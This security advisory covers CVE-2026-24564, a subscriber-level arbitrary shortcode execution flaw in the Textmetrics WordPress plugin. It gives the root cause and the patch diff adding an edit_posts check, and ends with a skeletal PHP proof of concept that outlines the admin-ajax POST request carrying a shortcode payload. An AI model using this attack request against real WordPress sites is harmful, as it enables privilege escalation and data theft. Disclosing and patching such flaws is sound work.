Atomic Edge analysis of CVE-2026-24564:
The vulnerability is an authenticated arbitrary shortcode execution flaw in the Textmetrics WordPress plugin. The affected component is the plugin’s AJAX request handler. Attackers with Subscriber-level access or higher can execute arbitrary WordPress shortcodes, leading to privilege escalation or other security impacts.
Atomic Edge research identifies the root cause in the file `webtexttool/core/class-webtexttool-core.php`. The vulnerable function `get_webtexttoolnonce_action` (implied by the context) processes AJAX requests. Before the patch, the function at line 735 began processing the `$_POST[‘data’]` parameter without verifying the user’s capability to execute shortcodes. The code path allowed any authenticated user to reach the `do_shortcode` call on unsanitized user input.
Exploitation requires an authenticated attacker with at least Subscriber privileges. The attack vector is a POST request to `/wp-admin/admin-ajax.php`. The attacker must supply the parameters `nonce`, `data`, and `postId`. The `action` parameter must be set to the specific hook handled by the vulnerable Textmetrics function. The payload is placed in the `data` parameter, which contains the arbitrary shortcode to be executed by `do_shortcode`.
The patch adds a capability check before processing the AJAX request. In `webtexttool/core/class-webtexttool-core.php`, at line 738, the code now includes `if (!current_user_can(‘edit_posts’)) { exit; }`. This change restricts access to users with the `edit_posts` capability, typically assigned to Contributor roles and above. The patch prevents Subscriber and Customer roles from reaching the shortcode execution logic. The plugin version was also updated from 3.6.3 to 3.6.4.
Successful exploitation allows execution of any shortcode available on the WordPress site. This can lead to information disclosure, privilege escalation, or remote code execution, depending on the shortcodes installed. For example, a shortcode from another plugin could be used to read sensitive data, create administrative users, or execute PHP code.
--- a/webtexttool/core/class-webtexttool-core.php
+++ b/webtexttool/core/class-webtexttool-core.php
@@ -735,6 +735,10 @@
$output = array("message" => 'process server ajax failed'); // set default output message
$action = $this->get_webtexttoolnonce_action(); // text used to generate or check the nonce.
+ if (!current_user_can('edit_posts')) {
+ exit;
+ }
+
// check if the nonce and data exist, otherwise exit
if (array_key_exists('nonce', $_POST) && array_key_exists('data', $_POST) && array_key_exists('postId', $_POST)) {
$nonce = htmlentities($_POST['nonce']);
--- a/webtexttool/webtexttool.php
+++ b/webtexttool/webtexttool.php
@@ -6,7 +6,7 @@
* Plugin Name: Textmetrics
* Plugin URI: https://www.textmetrics.com
* Description: Textmetrics is the easiest way to create SEO proof content to rank higher and get more traffic. Realtime optimization, keyword research and more.
- * Version: 3.6.3
+ * Version: 3.6.4
* Author: Textmetrics
* Author URI: https://www.textmetrics.com
* License: GPL-2.0+
@@ -15,7 +15,7 @@
* Domain Path: /languages
*/
-define('WTT_VERSION', '3.6.3');
+define('WTT_VERSION', '3.6.4');
define('WTT_SHORT_URL', "api.textmetrics.com");
define('WTT_BASE_API_URL', 'https://api.textmetrics.com/');
define('WTT_PLUGIN_NAME', 'Textmetrics');
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24564 - Textmetrics <= 3.6.3 - Authenticated (Subscriber+) Arbitrary Shortcode Execution
<?php
// Configuration
$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';
$username = 'subscriber';
$password = 'password';
// Payload: Execute a shortcode that displays current user (example).
// Replace with any shortcode present on the target.
$shortcode_payload = '[user_info]';
// Step 1: Authenticate to WordPress and obtain cookies/nonce.
// This PoC assumes the attacker has valid Subscriber credentials.
// In a real scenario, you would need to log in and obtain the correct nonce.
// For brevity, this script outlines the attack structure.
// The vulnerable endpoint expects a valid nonce in the 'nonce' parameter.
// The exact AJAX action name must be determined from the plugin.
// Example cURL request structure (requires valid session cookies and nonce):
/*
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'action' => 'webtexttool_ajax_action', // This action name must be identified
'nonce' => 'VALID_NONCE_HERE', // Requires a valid nonce from the plugin
'data' => $shortcode_payload,
'postId' => '1'
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Use session cookies
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);
curl_close($ch);
echo $response;
*/
// Due to the requirement for a valid nonce and specific action hook,
// a fully automated PoC requires reverse-engineering the plugin's nonce generation.
// This script provides the attack blueprint.
echo "PoC requires valid authentication, nonce, and action hook.";
?>
